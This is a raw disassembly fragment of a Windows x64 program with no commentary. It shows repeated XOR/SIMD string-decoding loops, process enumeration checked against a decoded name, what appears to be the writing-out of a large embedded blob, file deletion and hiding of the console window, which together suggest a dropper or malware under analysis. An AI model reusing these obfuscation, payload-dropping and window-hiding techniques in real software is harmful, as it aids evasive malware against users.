punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140016360
cmp r8d, 0x2a
jge 0x1400164af
movsxd rax, r8d
lea r9, [rbp + 0x288]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x140016480
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140016539
mov dword [rbp + 0x490], 0x130
lea rdx, [rbp + 0x490]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140016530
lea rdx, [rbp + 0x490]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x140016530
nop word [rax + rax]
lea rdx, [rbp + 0x288]
lea rcx, [rbp + 0x4bc]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
mov rcx, rbx
test eax, eax
je 0x14001927a
lea rdx, [rbp + 0x490]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140016500
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm0, xmmword [0x1400921b0]
movups xmmword [rbp + 0x328], xmm0
movups xmm1, xmmword [0x1400921c0]
movups xmmword [rbp + 0x338], xmm1
movups xmm0, xmmword [0x1400921d0]
movups xmmword [rbp + 0x348], xmm0
movzx eax, word [0x1400921e0]
mov word [rbp + 0x358], ax
mov r8d, r14d
cmp esi, 2
jl 0x1400166c7
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x32c]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400165c0
cmp r8d, 0x32
jge 0x14001670f
movsxd rax, r8d
lea r9, [rbp + 0x328]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x1400166e0
mov qword [rbp + 0x450], r14
mov qword [rbp + 0x460], r14
mov qword [rbp + 0x468], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x450], 0
lea rax, [rbp + 0x328]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140016740
lea rdx, [rbp + 0x328]
lea rcx, [rbp + 0x450]
call fcn.14001a780
nop
mov r8d, 0x87000
lea rdx, [0x14009f0c0]
lea rcx, [rbp + 0x450]
call fcn.140012970
nop
mov rdx, qword [rbp + 0x468]
cmp rdx, 0x10
jb 0x1400167b9
inc rdx
mov rcx, qword [rbp + 0x450]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400167b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019286
call fcn.14007e7bc
movups xmm0, xmmword [0x1400921b0]
movups xmmword [rbp + 0x360], xmm0
movups xmm1, xmmword [0x1400921c0]
movups xmmword [rbp + 0x370], xmm1
movups xmm0, xmmword [0x1400921d0]
movups xmmword [rbp + 0x380], xmm0
movzx eax, word [0x1400921e0]
mov word [rbp + 0x390], ax
mov r8d, r14d
cmp esi, 2
jl 0x140016947
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x364]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140016840
cmp r8d, 0x32
jge 0x14001698f
movsxd rax, r8d
lea r9, [rbp + 0x360]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x140016960
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x360]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400169b0
lea rdx, [rbp + 0x360]
lea rcx, [rsp + 0x60]
call fcn.14001a780
lea rcx, [rsp + 0x60]
call fcn.140002850
movups xmm0, xmmword [0x1400921b0]
movups xmmword [rbp + 0x3f8], xmm0
movups xmm1, xmmword [0x1400921c0]
movups xmmword [rbp + 0x408], xmm1
movups xmm0, xmmword [0x1400921d0]
movups xmmword [rbp + 0x418], xmm0
movzx eax, word [0x1400921e0]
mov word [rbp + 0x428], ax
mov r8d, r14d
cmp esi, 2
jl 0x140016b67
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x3fc]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140016a60
cmp r8d, 0x32
jge 0x140016baf
movsxd rax, r8d
lea r9, [rbp + 0x3f8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x140016b80
lea rcx, [rbp + 0x3f8]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
jmp 0x140015fb0
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movdqa xmm0, xmmword [0x140092f30]
movdqu xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x70], 0xf4fcf8ea
mov dword [rbp - 0x6c], 0xb7b8bbba
mov word [rbp - 0x68], 0x100
mov rcx, r14
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x80]
xor byte [rbp + rcx - 0x80], al
inc rcx
cmp rcx, 0x18
jb 0x140016c10
mov byte [rbp - 0x67], 0
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001ad30
movups xmm0, xmmword [0x140092cb0]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140092cc0]
movups xmmword [rbp + 0xe0], xmm1
movzx eax, byte [0x140092cd0]
mov byte [rbp + 0xf0], al
mov r8d, r14d
cmp esi, 2
jl 0x140016db7
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xd4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140016cb0
cmp r8d, 0x21
jge 0x140016dff
movsxd rax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140016dd0
mov qword [rbp + 0x470], r14
mov qword [rbp + 0x480], r14
mov qword [rbp + 0x488], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x470], 0
lea rax, [rbp + 0xd0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140016e30
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x470]
call fcn.14001a780
nop
movups xmm0, xmmword [0x1400929a0]
movups xmmword [rbp + 0xf8], xmm0
movups xmm1, xmmword [0x1400929b0]
movups xmmword [rbp + 0x108], xmm1
mov eax, dword [0x1400929c0]
mov dword [rbp + 0x118], eax
movzx eax, word [0x1400929c4]
mov word [rbp + 0x11c], ax
mov r8d, r14d
cmp esi, 2
jl 0x140016fd7
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xfc]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140016ed0
cmp r8d, 0x26
jge 0x14001701f
movsxd rax, r8d
lea r9, [rbp + 0xf8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x140016ff0
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0xf8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140017040
lea rdx, [rbp + 0xf8]
lea rcx, [rsp + 0x60]
call fcn.14001a780
lea rcx, [rsp + 0x60]
call fcn.140002850
movups xmm0, xmmword [0x140092880]
movups xmmword [rbp + 0x148], xmm0
movups xmm1, xmmword [0x140092890]
movups xmmword [rbp + 0x158], xmm1
movzx eax, word [0x1400928a0]
mov word [rbp + 0x168], ax
mov r8d, r14d
cmp esi, 2
jl 0x1400171e7
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x14c]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400170e0
cmp r8d, 0x22
jge 0x14001722f
movsxd rax, r8d
lea r9, [rbp + 0x148]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140017200
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x148]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140017250
lea rdx, [rbp + 0x148]
lea rcx, [rsp + 0x60]
call fcn.14001a780
lea rcx, [rsp + 0x60]
call fcn.140002850
movups xmm0, xmmword [0x140092580]
movups xmmword [rbp + 0x2b8], xmm0
movups xmm1, xmmword [0x140092590]
movups xmmword [rbp + 0x2c8], xmm1
movups xmm0, xmmword [str.__cu_n22__71_a__K]
movups xmmword [rbp + 0x2d8], xmm0
mov eax, dword [0x1400925b0]
mov dword [rbp + 0x2e8], eax
movzx eax, word [0x1400925b4]
mov word [rbp + 0x2ec], ax
mov r8d, r14d
cmp esi, 2
jl 0x140017407
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2bc]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140017300
cmp r8d, 0x36
jge 0x14001744f
movsxd rax, r8d
lea r9, [rbp + 0x2b8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x36
jl 0x140017420
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x2b8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140017470
lea rdx, [rbp + 0x2b8]
lea rcx, [rsp + 0x60]
call fcn.14001a780
lea rcx, [rsp + 0x60]
call fcn.140002850
movups xmm0, xmmword [0x1400924d0]
movups xmmword [rbp + 0x250], xmm0
movups xmm1, xmmword [0x1400924e0]
movups xmmword [rbp + 0x260], xmm1
movups xmm0, xmmword [str.__cu_n22__71_a__J]
movups xmmword [rbp + 0x270], xmm0
mov eax, dword [0x140092500]
mov dword [rbp + 0x280], eax
movzx eax, byte [0x140092504]
mov byte [rbp + 0x284], al
mov r8d, r14d
cmp esi, 2
jl 0x140017627
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x254]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140017520
cmp r8d, 0x35
jge 0x14001766f
movsxd rax, r8d
lea r9, [rbp + 0x250]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140017640
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x250]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140017690
lea rdx, [rbp + 0x250]
lea rcx, [rsp + 0x60]
call fcn.14001a780
lea rcx, [rsp + 0x60]
call fcn.140002850
movups xmm0, xmmword [0x140092978]
movups xmmword [rbp + 0xa8], xmm0
movups xmm1, xmmword [0x140092988]
movups xmmword [rbp + 0xb8], xmm1
mov eax, dword [0x140092998]
mov dword [rbp + 0xc8], eax
movzx eax, byte [0x14009299c]
mov byte [rbp + 0xcc], al
mov r8d, r14d
cmp esi, 2
jl 0x140017838
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
